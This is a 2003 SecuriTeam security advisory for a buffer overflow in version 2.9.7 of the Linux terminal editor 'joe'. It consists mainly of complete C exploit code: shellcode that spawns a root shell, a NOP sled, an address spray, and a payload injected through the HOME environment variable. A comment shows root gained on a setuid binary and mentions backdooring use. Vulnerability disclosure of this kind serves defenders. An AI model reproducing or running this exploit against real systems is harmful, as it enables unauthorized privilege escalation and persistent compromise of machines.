[EXPL] Linux x86 "joe" Local Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 08/13/03

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      Linux x86 "joe" Local Exploit
    ------------------------------------------------------------------------

    SUMMARY

    There exists a buffer overflow vulnerability in the popular UNIX/Linux
    terminal text editor "joe". As far as it is known version 2.9.7 is
    affected by the vulnerability. The following is a proof of concept local
    exploit tested on Slackware [kernel 2.4.20] only.

    DETAILS

    Exploit:
    /*
      Linux x86 "joe" local exploit
      author: dodo <dodo@darkwired.org>
      author: tsunami <tsunami@darkwired.org>
      tested on: Slackware Linux (2.4.20), `joe` 'version 2.9.7'
      date: 30-07-2003 updated: 01-08-03

      notes:
      could be used for backdooring purposes..
      greets to everyone @ #darkwired

      root@comprak:/dodo/edu/joe# chmod a+s /usr/bin/joe
      dodo@comprak:/dodo/edu/joe$ ./dw-bof-joe -2000
      sh-2.05b# id
      uid=0(root) gid=10(wheel) groups=10(wheel)

      usage:
      ./dw-bof-joe [offset]
      Slackware Linux offset: -2000

      contact:
      http://www.darkwired.org/
      ssl-irc: irc.darkwired.org #darkwired
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    #define BSIZE 1016

    static char shellcode[]=
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0"
    "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x31\xd2\xcd"
    "\x80\xe8\xe4\xff\xff\xff\x2f\x62"
    "\x69\x6e\x2f\x73\x68\x58";

    unsigned long get_sp(void)
    {
     __asm__("movl %esp, %eax");
    }

    int main(int argc, char *argv[])
    {
    char buffer[BSIZE+32];
    unsigned long sp = get_sp(), i;
    signed long offset = -2000;

      if(argc>1) offset = atoi(argv[1]);
      sp = sp - offset;

      memset(buffer, 0x90, sizeof(buffer)); //glijbaan
      memcpy(buffer+(BSIZE-strlen(shellcode)), (char *)&shellcode,
    strlen(shellcode));
      //memcpy(buffer+BSIZE+12, &sp, sizeof(sp));
      for(i=BSIZE;i<BSIZE+32;i+=4)
      {
      *(long *)&buffer[i] = sp;
      }
      memset(buffer+BSIZE+32, 0x0, 1);

      if(setenv("HOME", buffer, 1)==-1) return -1;
      system("joe");
      return 1;

    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dodo@darkwired.org> dodo and
     <mailto:tsunami@darkwired.org> tsunami.

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